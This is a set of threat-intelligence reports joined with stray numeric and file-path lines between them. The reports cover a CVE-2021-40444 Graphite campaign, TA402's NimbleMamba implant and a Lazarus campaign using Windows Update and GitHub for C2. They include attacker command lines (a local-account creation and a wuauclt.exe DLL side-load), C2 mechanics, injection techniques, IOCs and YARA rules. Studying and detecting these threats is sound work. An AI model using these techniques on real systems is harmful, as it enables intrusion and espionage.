Moscow Time, Turkey Time, Arabia Standard Time and East Africa Time. 18/23 Figure 26. Adversarys working hours Another interesting discovery during the investigation was that the attackers were using the CLSID (D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D) for persistence, which matched with an ESET report in which researchers mentioned a Russian Operation targeting Eastern European countries. Analyzing and comparing code-blocks and sequences from the graphite malware with our database of samples, we discovered overlap with samples in 2018 being attributed to APT28. We compared for example our samples towards this one: 5bb9f53636efafdd30023d44be1be55bf7c7b7d5 (sha1): 19/23 Figure 27 Code comparison of samples When we zoom in on some of the functions, we observe on the left side of the below picture the graphite sample and on the right the forementioned 2018 sample. With almost three years in time difference, it makes sense that code is changed, but still it looks like the programmer was happy with some of the previous functions: 20/23 Figure 28 Similar function flow Although we mentioned some tactics, techniques and procedures (TTPs) of the actors behind this campaign, we simply do not have enough context, similarities or overlap to point us with low/moderate confidence towards APT28, let alone a nation-state sponsor. However, we believe we are dealing with a skilled actor based on how the infrastructure, malware coding and operation was setup. Conclusion The analysis of the campaign described in this blog post allowed us to gather insights into a multi-staged attack performed in early October, leveraging the MSHTML remote code execution vulnerability (CVE-2021-40444) to target countries in Eastern Europe. As seen in the analysis of the Graphite malware, one quite innovative functionality is the use of the OneDrive service as a Command and Control through querying the Microsoft Graph API with a hardcoded token in the malware. This type of communication allows the malware to go unnoticed in the victims systems since it will only connect to legitimate Microsoft domains and wont show any suspicious network traffic. Thanks to the analysis of the full attack process, we were able to identify new infrastructure acting as command and control from the actors and the final payload, which is an agent from the post-exploitation framework Empire. All the above allowed us to construct a timeline of the activity observed in the campaign. The actors behind the attack seem very advanced based on the targeting, the malware and the infrastructure used in the operation, so we presume that the main goal of this campaign is espionage. With a low and moderate confidence, we believe this operation was executed by APT28. To further investigate, we provided some tactics, techniques and procedures (TTPs), indicators on the infrastructure, targeting and capabilities to detect this campaign. MITRE ATTCK Techniques Tactic Resource Development T1583.001 Acquire Infrastructure: Domains Attackers purchased domains to be used as a command and control. wordkeyvpload[. ]net wordkeyvpload[. ]org Resource Development T1587.001 Develop capabilities: Malware Attackers built malicious components to conduct their attack. Graphite malware 21/23 Resource Development T1588.002 Develop capabilities: Tool Attackers employed red teaming tools to conduct their attack. Empire Initial Access T1566.001 Phishing: Spear phishing Attachment Adversaries sent spear phishing emails with a malicious attachment to gain access to victim systems. BM- D(2021)0247.xlsx Execution T1203 Exploitation for Client Execution Adversaries exploited a vulnerability in Microsoft Office to execute code. CVE-2021-40444 Execution T1059.001 Command and Scripting Interpreter: PowerShell Adversaries abused PowerShell for execution of the Empire stager. Empire Powershell stager Persistence T1546.015 Event Triggered Execution: Component Object Model Hijacking Adversaries established persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. CLSID: D9144DCD- E998-4ECA-AB6A- DCD83CCBA16D Persistence T1136.001 Create Account: Local Account Adversaries created a local account to maintain access to victim systems. net user /add user1 Defense Evasion T1620 Reflective Code Loading Adversaries reflectively loaded code into a process to conceal the execution of malicious payloads. Empire DLL Launcher stager 22/23 Command and Control T1104 Multi-Stage Channels Adversaries created multiple stages to obfuscate the command-and- control channel and to make detection more difficult. Use of different Empire stagers Command and Control T1102.002 Web Service: Bidirectional Communication Adversaries used an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Microsoft OneDrive Empire Server Command and Control T1573.001 Encrypted Channel: Symmetric Cryptography Adversaries employed a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. AES 256 Command and Control T1573.002 Encrypted Channel: Asymmetric Cryptography Adversaries employed a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. RSA Indicators of Compromise (IOCs) First stage Excel Downloaders 40d56f10a54bd8031191638e7df74753315e76f198192b6e3965d182136fc2fa f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 23/23 7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a 9052568af4c2e9935c837c9bdcffc79183862df083b58aae167a480bd3892ad0 Second stage Downloader DLL 1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 Third stage Graphite 35f2a4d11264e7729eaf7a7e002de0799d0981057187793c0ba93f636126135f f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 Fourth stage DLL Launcher Stager 25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 Fifth stage PowerShell C Stager d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 Sixth stage Empire HTTP Powershell Stager da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 URLs hxxps://wordkeyvpload[. ]net/keys/Missions Budget Lb.xls hxxps://wordkeyvpload[. ]net/keys/parliament_rew.xls hxxps://wordkeyvpload[. ]net/keys/Missions Budget.xls hxxps://wordkeyvpload[. ]net/keys/TR_comparison.xls hxxps://wordkeyvpload[. ]net/keys/JjnJq3.html hxxps://wordkeyvpload[. ]net/keys/iz7hfD.html hxxps://wordkeyvpload[. ]net/keys/Ari2Rc.html hxxps://wordkeyvpload[. ]net/keys/OD4cNq.html hxxps://wordkeyvpload[. ]net/keys/0YOL4.cab hxxps://wordkeyvpload[. ]net/keys/whmel.cab hxxps://wordkeyvpload[. ]net/keys/UdOpQ.cab hxxps://wordkeyvpload[. ]net/keys/D9V5E.cab hxxps://wordkeyvpload[. ]net/keys/update.dat hxxps://wordkeyvpload[. ]org/index.jsp hxxps://wordkeyvpload[. ]org/index.php hxxps://wordkeyvpload[. ]org/news.php hxxps://wordkeyvpload[. ]org/admin/get.php hxxps://wordkeyvpload[. ]org/login/process.php Domains wordkeyvpload[. ]net wordkeyvpload[. ]org jimbeam[. ]live IPs 131.153.96[. ]114 185.117.88[. ]19 94.140.112[. ]178 1/15 February 2, 2022 Ugg Boots 4 Sale: A Tale of Palestinian-Aligned Espionage proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage Blog Threat Insight Ugg Boots 4 Sale: A Tale of Palestinian-Aligned Espionage February 08, 2022 Konstantin Klinger, Joshua Miller, and Georgi Mladenov Key Takeaways TA402, a likely Palestinian-aligned advance persistent threat actor, has recently engaged in campaigns leveraging a new implant, dubbed by Proofpoint analysts as NimbleMamba. NimbleMamba is likely a replacement for the groups previously used LastConn implant. These campaigns have a complex attack chain that leverages geofencing and URL redirects to legitimate sites in order to bypass detection efforts. Overview In late 2021, Proofpoint analysts identified a complex attack chain targeting Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline. Over three months, Proofpoint observed three subtle variations of this attack chain. Proofpoint attributes these campaigns to TA402, an actor commonly tracked as Molerats and believed to be operating in the interest of the Palestinian Territories. Based on Proofpoints research, TA402 is a persistent threat to organizations and governments in the Middle East, routinely updating not only their malware implants, but also their delivery methods. After publication of Proofpoints TA402 research in June 2021, TA402 appeared to halt its activities for a short period of time, almost certainly to retool. Proofpoint researchers believe they used that time to update their implants and delivery mechanisms, using malware dubbed NimbleMamba and BrittleBush. TA402 also regularly uses geofencing techniques and varied attack chains which complicate detection efforts for defenders. Campaign Details https://www.proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage https://www.proofpoint.com/us/blog https://www.proofpoint.com/us/blog/threat-insight https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east 2/15 Figure 1. TA402 attack chain November 2021 to January 2022. In the recently observed campaigns, TA402 used spear phishing emails containing links that often lead to malicious files. Proofpoint observed three different URL types in those campaigns. Variation 1: Actor-Controlled Domain (November 2021) In a November 2021 campaign, TA402 masqueraded as the Quora website while using an actor-controlled Gmail account with an actor-controlled domain. The malicious URL, such as https[:]//www[.]uggboots4sale[. ]com/news15112021.php, in the phishing email was geofenced to the targeted countries. If the targets IP address fits into the targeted region, the user would be redirected to the RAR file download containing the latest TA402 implant, NimbleMamba. If outside the target area, the user would be redirected to a legitimate news site, Figure 2. 3/15 Figure 2. Benign redirect to legitimate news site https[:]www[.]emaratalyoum[. ]com. Variation 2: Dropbox URL (December 2021) In December 2021, TA402 used multiple phishing pretenses, including clickbait medical lures and ones allegedly sharing confidential geopolitical information. TA402 continued to use an actor-controlled Gmail account but shifted to Dropbox URLs to deliver the malicious RAR files containing NimbleMamba. This shift away from actor-controlled domains meant that TA402 could no longer geofence their payloads. Proofpoint discovered that TA402 is not only abusing Dropbox services for delivery of NimbleMamba, but also for malware command and control (C2). Proofpoint has shared our investigation and analysis with Dropbox prior to publication, and they took the needed actions for neutralizing the activity within their organization. Variation 3: WordPress Redirect Actor-Controlled Domain (December 2021/January 2022) In their latest campaigns, TA402 continued to use lure content customized for each of their targets but slightly adjusted their attack chain by inserting an additional actor-controlled WordPress URL. That WordPress site (Figure 3), which impersonates a news aggregator of the legitimate news site from Variation 1, likely redirects to the download site of the malicious RAR files containing NimbleMamba if the visitor is coming from an IP within the 4/15 targeted region. If the source IP address does not align with the target region, the URL will redirect the recipient to a benign website, typically an Arabic language news website (Figure 2). Figure 3. Example WordPress site (https[:]//emaratalyoumcom[.]wordpress[. ]com/) impersonating an Arabic language news aggregator. The use of geofenced URLs, Dropbox URLs and then redirect URLs demonstrate TA402s determination to blend in with legitimate email traffic and infect targets with NimbleMamba. Malware Analysis: NimbleMamba Each variant of TA402s attack chain led to a RAR file containing one or multiple malicious compressed executables. These executables include a TA402 implant Proofpoint dubbed NimbleMamba and oftentimes an additional trojan Proofpoint named BrittleBush. NimbleMamba is almost certainly meant to replace LastConn, which Proofpoint reported about in June 2021. LastConn was likely an updated version of the SharpStage malware, reported by Cybereason in December 2020. While NimbleMamba and https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf 5/15 LastConn have some similarities, such as being written in C, base64 encoding within the C2 framework, and use of the Dropbox API for C2 communication, there appears to be little code overlap between the two. NimbleMamba uses guardrails to ensure that all infected victims are within TA402s target region. NimbleMamba uses the Dropbox API for both command and control as well as exfiltration. The malware also contains multiple capabilities designed to complicate both automated and manual analysis. Based on this, Proofpoint assesses NimbleMamba is actively being developed, is well-maintained, and designed for use in highly targeted intelligence collection campaigns. For this malware analysis, Proofpoint researchers analyzed the following two samples: NimbleMamba is written in C and delivered as an obfuscated .NET executable using third- party obfuscators. Both samples analyzed used the SmartAssembly obfuscator. Additionally, the malware does basic virtual machine checks to avoid detection by looking for common strings that indicate a sample is running in a virtual environment. Guardrails NimbleMamba contains multiple guardrails to ensure that the malware only executes on targeted machines. It uses the following IP resolving web services to check the users IP address and determine if it fits into the target region. This is done to avoid detection and SHA256 Sample 1 c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d Sample 2 430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 https://www.red-gate.com/products/dotnet-development/smartassembly/ 6/15 analysis. api[.]ipify[. ]com (https://www.ipify.org) myexternalip[. ]com (https://myexternalip.com) ip-api[. ]com (https://ip-api.com) api[.]ipstack[. ]com (https://ipstack.com) If the machine is unable to connect to those services, the malware will keep calling the addresses in random order, thus putting the execution in an endless loop in closed network environments. The malware will only continue executing if the country of the resolved IP address country code matches one from the following table or if the host computer has an Arabic language pack (code AR) installed. Code Country KW Kuwait EG Egypt IL Israel SA Saudi Arabia IR Iran AE United Arab Emirates TN Tunisia DZ Algeria SY Syria QA Qatar JO Jordan https://www.ipify.org/ https://myexternalip.com/ https://ip-api.com/ https://ipstack.com/ 7/15 OM Oman PS Palestine LB Lebanon LY Libya SS South Sudan SSD Soud Sudan (Alpha-3 code, probably added by accident) IQ Iraq YE Yemen MA Morocco BH Bahrain Configuration NimbleMambas configuration is retrieved from a paste on the website JustPasteIt. NimbleMamba takes the current timestamp from an online real-time service to ensure that the timestamp matches the current time. Some computers may have modified time settings and this method ensures that the time is standardized across infections. The obtained timestamp is then used to generate a JustPasteIt URL with the algorithm in Figure 4. https://justpaste.it/ 8/15 Figure 4. Python implementation of NimbleMambas JustPasteIt algorithm. When there is an active paste under the generated URL, it should look like this: 9/15 Figure 5. Example of JustePasteIt paste content. The data taken from the paste service is split by and then each split by to form the following two key-value pairs. Key Value ACSS IFK641c5_RQj32p_HvJF14U3eu3iQIl1vYncq-5- g4aMKQAAAAAAAAAAQ6MoiJpHT88KFIEQQ2SH5 OOOO 40,1ckZnB3a45mMpRTTYplNiNmZ ACSS contains the obfuscated Dropbox account API auth key that is used for C2 communication. The malware then takes the external IP address, username and computer name retrieved earlier, writes them as comma-separated strings, base64 encodes them with stripped padding bytes and then reverses the string. The resulting string is used as a folder name that is created on the Dropbox account using their API with the API key deobfuscated (Figure 6) from the JustPasteIt post. 10/15 Figure 6. Dropbox API key deobfuscation. From there, the malware starts communicating with Dropbox to obtain a RAR file and a decoy file that is immediately displayed to the user if present. The decoy file is often an office document or PDF. The RAR file is password-protected with a password stored as the second comma-separated value in the OOOO argument from the JustPasteIt paste and dropped to the folder pointed by the first parameter in OOOO. The downloaded RAR file contains two additional executables, an updated sample of NimbleMamba along with an executable that contains a screenshot of the functionality. This technique allows for TA402 to serve additional payloads to targeted NimbleMamba victims. Pivoting on the JustPasteIt user Nefaty Benet (Researcher Note: This account is likely meant to impersonate the Israeli Prime Minister Naftali Bennett) allows us to see that the NimbleMamba campaign likely started in August 2021, two months after Proofpoints previous research. This timeframe is consistent with the compile dates of the NimbleMamba samples identified in VirusTotal. https://web.archive.org/web/20220104165321/https://justpaste.it/u/nefaty_benet 11/15 Figure 7. Pivot to all pastes created by user Nefaty Benet. Functionality NimbleMamba has the traditional capabilities of an intelligence-gathering trojan and is likely designed to be the initial access. Functionalities include capturing screenshots and obtaining process information from the computer. Additionally, it can detect user interaction, such as looking for mouse movement. BrittleBush Trojan Later versions of the RAR files that deliver NimbleMamba also included a small trojan application Proofpoint dubbed BrittleBush (2E4671C517040CBD66A1BE0F04FB8F2AF7064FEF2B5EE5E33D1F9D347E4C419F). This trojan communicated with easyuploadservice[. ]com and received commands as base64 encoded JSON structure. 12/15 Figure 8. BrittleBush JSON structure. Attribution Proofpoint attributes the campaigns to TA402 based on both technical indicators and victimology. The observed attack chains mimic historical TA402 campaigns, some of which are discussed in Proofpoints June 2021 research. The phishing campaigns share thematic elements with historical Molerats campaigns. For example, the December 2021 campaign contained a title bearing significant similarities to a 2015 TA402 campaign reported by Kaspersky.
222
Campaign Arabic Title Translation 2015 Kaspersky Campaign exe.
45,402
45,619
218
data/reports_final/0222.txt
Campaign Arabic Title Translation 2015 Kaspersky Campaign exe. Leaked conversation with the Egyptian leader of military forces Sodqi Sobhi[. ]exe December 2021 Campaign Secret meeting between bin Salman and Erdogan in Qatar The campaigns observed by Proofpoint likely occurred concurrently to Zscalers recently published research on Molerats activity targeting individuals in Palestine Turkey and demonstrate Molerats continued ability to modify their attack chain based on their intelligence targets. The significant technical connections between the DropBox accounts used by the LastConn malware, the account used to deploy NimbleMamba, and the account used to store intelligence exfiltrated by NimbleMamba indicate that LastConn and NimbleMamba are almost certainly deployed by the same operators. This was based on the findings found during the investigation performed by Dropbox Security Team, which neutralized all the associated accounts. https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east https://securelist.com/gaza-cybergang-wheres-your-ir-team/72283/ https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east 13/15 Technical intelligence, including analysis of Molerats network activity from TeamCymru, indicates NimbleMamba developers operate in the interest of the Palestinian Territories. The guardrails employed by NimbleMamba demonstrate a clear focus on targeting Arabic speakers along with computers in the Middle East. Proofpoint observed campaigns targeting Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline. Proofpoint assesses TA402 likely operates in support of Palestinian objectives, which is consistent with prior Proofpoint and the broader industrys previously published assessments. Conclusion TA402 continues to be an effective threat actor that demonstrates its persistence with its highly targeted campaigns focused on the Middle East. Based on the variations between campaigns delivering NimbleMamba, along with the historical pattern of developing new malware post disclosure, Proofpoint judges with moderate confidence that TA402 will continue to update both their implants and infection chains to complicate defensive efforts. Indicators of Compromise (IOCs) IOC IOC Type 430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 SHA256 c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d SHA256 uggboots4sale[. ]com Domain 925aff03ab009c8e7935cfa389fc7a34482184cc310a8d8f88a25d9a89711e86 SHA256 https://team-cymru.com/blog/2022/01/26/analysis-of-a-management-ip-address-linked-to-molerats-apt/ 14/15 ET Signatures 2035112 TA402/Molerats CnC Checkin 2035113 TA402/Molerats Payload Downloaded 2035120 TA402/Molerats CnC Activity 2035121 TA402/Molerats External IP Lookup Activity 2035122 TA402/Molerats Related Malware Domain in DNS Lookup 2035123 TA402/Molerats Related Malware Domain in DNS Lookup YARA Signatures rule Proofpoint_Molerats_TA402_NimbleMamba meta: description Detects .NET written NimbleMamba malware used by TA402/Molereats author Proofpoint Threat Research disclaimer Yara signature created for hunting purposes - not quality controlled within enterprise environment hash1 430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 hash2 c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d strings: dotnet Strings ascii dropbox dropboxapi.com ascii wide justpaste justpaste.it wide ip_1 api.ipstack.com wide easyuploadservice[. ]com Domain 2e4671c517040cbd66a1be0f04fb8f2af7064fef2b5ee5e33d1f9d347e4c419f SHA256 15/15 ip_2 myexternalip.com wide ip_3 ip-api.com wide ip_4 api.ipify.com wide vm_1 VMwareVIRTUALA M IXen wide vm_2 MicrosoftVMWareVirtual wide condition: uint16be(0) 0x4D5A and dotnet and dropbox and justpaste and any of (ip_) and any of (vm_) Subscribe to the Proofpoint Blog Select 1/16 Threat Intelligence Team January 27, 2022 North Koreas Lazarus APT leverages Windows Update client, GitHub in latest campaign blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest- campaign This blog was authored by Ankur Saini and Hossein Jazi Lazarus Group is one of the most sophisticated North Korean APTs that has been active since 2009. The group is responsible for many high profile attacks in the past and has gained worldwide attention. The Malwarebytes Threat Intelligence team is actively monitoring its activities and was able to spot a new campaign on Jan 18th 2022. In this campaign, Lazarus conducted spear phishing attacks weaponized with malicious documents that use their known job opportunities theme. We identified two decoy documents masquerading as American global security and aerospace giant Lockheed Martin. In this blog post, we provide technical analysis of this latest attack including a clever use of Windows Update to execute the malicious payload and GitHub as a command and control server. We have reported the rogue GitHub account for harmful content. Analysis The two macro-embedded documents seem to be luring the targets about new job opportunities at Lockheed Martin: Lockheed_Martin_JobOpportunities.docx Salary_Lockheed_Martin_job_opportunities_confidential.doc https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/ https://twitter.com/h2jazi/status/1483521532433473536 https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf 2/16 The compilation time for both of these documents is 2020-04-24, but we have enough indicators that confirm that they have been used in a campaign around late December 2021 and early 2022. Some of the indicators that shows this attack operated recently are the domains used by the threat actor. Both of the documents use the same attack theme and have some common things like embedded macros but the full attack chain seems to be totally different. The analysis provided in the blog is mainly based on the Lockheed_Martin_JobOpportunities.docx document but we also provide brief analysis for the second document (Salary_Lockheed_Martin_job_opportunities_confidential.doc) at the end of this blog. Figure 1: Document Preview Attack Process The below image shows the full attack process which we will discuss in detail in this article. The attack starts by executing the malicious macros that are embedded in the Word document. The malware performs a series of injections and achieves startup persistence in the target system. In the next section we will provide technical details about various stages of this attack and its payload capabilities. https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-9.56.22-PM-1.jpg 3/16 Figure 2: Attack Process Macros: Control flow hijacking through KernelCallbackTable Figure 3: Macros Snippet https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-4.44.58-PM-1.jpg https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-12.08.26-AM-1.jpg 4/16 The above code uses a very unusual and lesser known technique to hijack the control flow and execute malicious code. The malware retrieves the address of the WMIsAvailableOffline function from wmvcore.dll, then it changes the memory protection permissions for code in WMIsAvailableOffline and proceeds to overwrite the code in memory with the malicious base64 decoded shell-code. Another interesting thing happening in the above code is the control flow hijacking through the KernelCallbackTable member of the PEB. A call to NtQueryInformationProcess is made with ProcessBasicInformation class as the parameter which helps the malware to retrieve the address of PEB and thus retrieving the KernelCallbackTable pointer. Figure 4: KernelCallbackTable in memory KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control flow, malware replaces the USER32_fnDWORD callback in the table with the malicious WMIsAvailableOffline function. Once the flow is hijacked and malicious code is executed the rest of the code takes care of restoring the KernelCallbackTable to its original state. Shellcode Analysis The shellcode loaded by the macro contains an encrypted DLL which is decrypted at runtime and then manually mapped into memory by the shellcode. After mapping the DLL, the shellcode jumps to the entry point of that DLL. The shellcode uses some kind of custom hashing method to resolve the APIs. We used hollows_hunter to dump the DLL and reconstruct the IAT once it is fully mapped into memory. https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-3.18.11-AM-1.jpg https://github.com/hasherezade/hollows_hunter 5/16 Figure 5: API resolving The hashing function accepts two parameters: the hash of the DLL and the hash of the function we are looking for in that DLL. A very simple algorithm is used for hashing APIs. The following code block shows this algorithm: def string_hashing(name): hash 0 for i in range(0, len(name)): hash 2 (hash (ord(name[i]) 0x60)) return hash The shellcode and all the subsequent inter-process Code/DLL injections in the attack chain use the same injection method as described below. Code Injection The injection function is responsible for resolving all the required API calls. It then opens a handle to the target process by using the OpenProcess API. It uses the SizeOfImage field in the NT header of the DLL to be injected into allocated space into the target process along with a separate space for the init_dll function. The purpose of the init_dll function is to initialize the injected DLL and then pass the control flow to the entry point of the DLL. One thing to note here is a simple CreateRemoteThread method is used to start a thread inside the target process unlike the KernelCallbackTable technique used in our macro. https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-4.40.42-AM.jpg 6/16 Figure 6: Target Process Injection through CreateRemoteThread Malware Components stage1_winword.dll This is the DLL which is mapped inside the Word process. This DLL is responsible for restoring the original state of KernelCallbackTable and then injecting stage2_explorer.dll into the explorer.exe process. Figure 7: Restoring KernelCallbackTable to original state stage2_explorer.dll The winword.exe process injects this DLL into the explorer.exe process. With brief analysis we find out that the .data section contains two additional DLLs. We refer to them as drops_lnk.dll and stage3_runtimebroker.dll. By analyzing stage2_explorer.dll a bit further we can easily understand the purpose of this DLL. https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-2.55.32-PM-1.jpg https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-9.27.46-PM-1.jpg 7/16 Figure 8: stage2_explorer main routine The above code snippet shows the main routine of stage2_explorer.dll. As you can see it checks for the existence of C:\Wndows\system32\wuaueng.dll and then if it doesnt exist it takes its path to drop additional files. It executes the drops_lnk.dll in the current process and then tries to create the RuntimeBroker process and if successful in creating RuntimeBroker, it injects stage3_runtimebroker.dll into the newly created process. If for some reason process creation fails, it just executes stage3_runtimebroker.dll in the current explorer.exe process. https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-4.24.42-PM-1.jpg 8/16 drops_lnk.dll This DLL is loaded and executed inside the explorer.exe process, it mainly drops the lnk file (WindowsUpdateConf.lnk) into the startup folder and then it checks for the existence of wuaueng.dll in the malicious directory and manually loads and executes it from the disk if it exists. The lnk file (WindowsUpdateConf.lnk) executes C:\Windows\system32\wuauclt.exe /UpdateDeploymentProvider C:\Wndows\system32\wuaueng.dll /RunHandlerComServer. This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms. With this method, the threat actor can execute its malicious code through the Microsoft Windows Update client by passing the following arguments: /UpdateDeploymentProvider, Path to malicious dll and /RunHandlerComServer argument after the dll. Figure 9: Startup folder path Figure 10: WindowsUpdateConf lnk stage3_runtimebroker.dll This DLL is responsible for creating the malicious directory (C:\Wndows\system32\) and then drops the wuaueng.dll in that directory, furthermore it sets the attributes of the directory to make it hidden. Figure 11: stage3_runtimebroker main routine wuaueng.dll This is one of the most important DLLs in the attack chain. This malicious DLL is signed with a certificate which seems to belong to SAMOYAJ LIMITED, Till 20 January 2022, the DLL had (0/65) AV detections and presently only 5/65 detect it as malicious. This DLL has embedded inside another DLL which contains the core module (core_module.dll) of this malware responsible for communicating with the Command and Control (C2) server. This DLL can be loaded into memory in two ways: If drops_lnk.dll loads this DLL into explorer.exe then it loads the core_module.dll and then executes it If it is being executed from wuauclt.exe, then it retrieves the PID of explorer.exe and injects the core_module.dll into that process. https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-5.04.25-PM-2.jpg https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-5.04.37-PM.jpg https://blog.malwarebytes.com/wp-content/uploads/2022/01/stage3.png 9/16 Figure 12: wuaueng.dll main routine The Core module and GitHub as a C2 Rarely do we see malware using GitHub as C2 and this is the first time weve observed Lazarus leveraging it. Using Github as a C2 has its own drawbacks but it is a clever choice for targeted and short term attacks as it makes it harder for security products to differentiate between legitimate and malicious connections. While analyzing the core module we were able to get the required details to access the C2 but unfortunately it was already cleaned and we were not able to get much except one of the additional modules loaded by the core_module.dll remotely (thanks to jaydinbas who shared the module with us). https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-5.41.56-PM-1.jpg https://twitter.com/jaydinbas 10/16 Figure 13: core_module.dll C2 communication loop There seems to be no type of string encoding used so we can clearly see the strings which makes the analysis easy. get_module_from_repo uses the hardcoded username, repo_name, directory, token to make a http request to GitHub and retrieves the files present in the images directory of the repository. https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-8.45.43-PM-1.jpg 11/16 Figure 14: get_module_from_repo function The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG. The file that was earlier retrieved was named readme.png this PNG file has one of the malicious modules embedded in it. The strings in the module reveal that the modules original name is GetBaseInfo.dll. Once the malware retrieves the module it uses the map_module function to map the DLL and then looks for an exported function named GetNumberOfMethods in the malicious module. It then executes GetNumberOfMethods and saves the result obtained by the module. This result is committed to the remote repo under the metafiles directory with a filename denoting the time at which the module was executed. This file committed to the repo contains the result of the commands executed by the module on the target system. To commit the file the malware makes a PUT HTTP request to Github. Additional Modules (GetBaseInfo.dll) This was the only module which we were able to get our hands on. Only a single module does limit us in finding all the capabilities this malware has. Also its a bit difficult to hunt for these modules as they never really touch the disk which makes them harder to detect by AVs. The only way to get the modules would be to access the C2 and download the modules while they are live. Coming back to this module, it has very limited capabilities. It retrieves the Username, ComputerName and a list of all the running processes on the system and then returns the result so it can be committed to the C2. https://blog.malwarebytes.com/wp-content/uploads/2022/01/git-1.png 12/16 Figure 15: GetBaseInfo module retrieving the information GitHub Account The account with the username DanielManwarningRep is used to operate the malware. The account was created on January 17th, 2022 and other than this we were not able to find any information related to the account. Figure 16: Account details from the token used https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-9.14.25-PM-1.jpg 13/16 Second Malicious Document used in the campaign Malicious Document Salary_Lockheed_Martin_job_opportunities_confidential.doc (0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1) The initial attack vector used in this document is similar to the first document but the malware dropped by the macro is totally different. Sadly, the C2 for this malware was down by the time we started analyzing it. This document uses KernelCallbackTable as well to hijack the control flow just like our first module, the injection technique used by the shellcode also resembles the first document. The major difference in this document is that it tries to retrieve a remote HTML page and then executes it using mshta.exe. The remote HTML page is located at https[:]//markettrendingcenter[. ]com/member.htm and throws a 404 Not Found which makes it difficult for us to analyze this document any further. Figure 17: Shellcode Attribution There are multiple indicators that suggest that this campaign has been operated by the Lazarus threat actor. In this section we provide some of the indicators that confirm the actor behind this attack is Lazarus: Using job opportunities as template is the known method used by Lazarus to target its victims. The documents created by this actor are well designed and contain a large icon for a known company such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template. In this campaign the actor has targeted people that are looking for job opportunities at Lockheed Martin. Targeting the defense industry and specifically Lockheed Martin is a known target for this actor. The documents metadata used in this campaign links them to several other documents used by this actor in the past. https://blog.malwarebytes.com/wp-content/uploads/2022/01/seconddoc.jpg 14/16 Figure 18: Attribution based on metadata Using Frame1_Layout for macro execution and using lesser known API calls for shellcode execution is known to be used by Lazarus. We also were able to find infrastructure overlap between this campaign and past campaigns of Lazarus (Figure 19). Figure 19: Connection with past campaigns Conclusion Lazarus APT is one of the advanced APT groups that is known to target the defense industry. The group keeps updating its toolset to evade security mechanisms. In this blog post we provided a detailed analysis about the new campaign operated by this actor. Even though they have used their old job theme method, they employed several new techniques to bypass detections: Use of KernelCallbackTable to hijack the control flow and shellcode execution Use of the Windows Update client for malicious code execution Use of GitHub for C2 communication https://blog.malwarebytes.com/wp-content/uploads/2022/01/attrib.png https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ https://blog.malwarebytes.com/wp-content/uploads/2022/01/connection_.png 15/16 IOCs: Maldocs: 0d01b24f7666f9bccf0f16ea97e41e0bc26f4c49cdfb7a4dabcc0a494b44ec9b Lockheed_Martin_JobOpportunities.docx 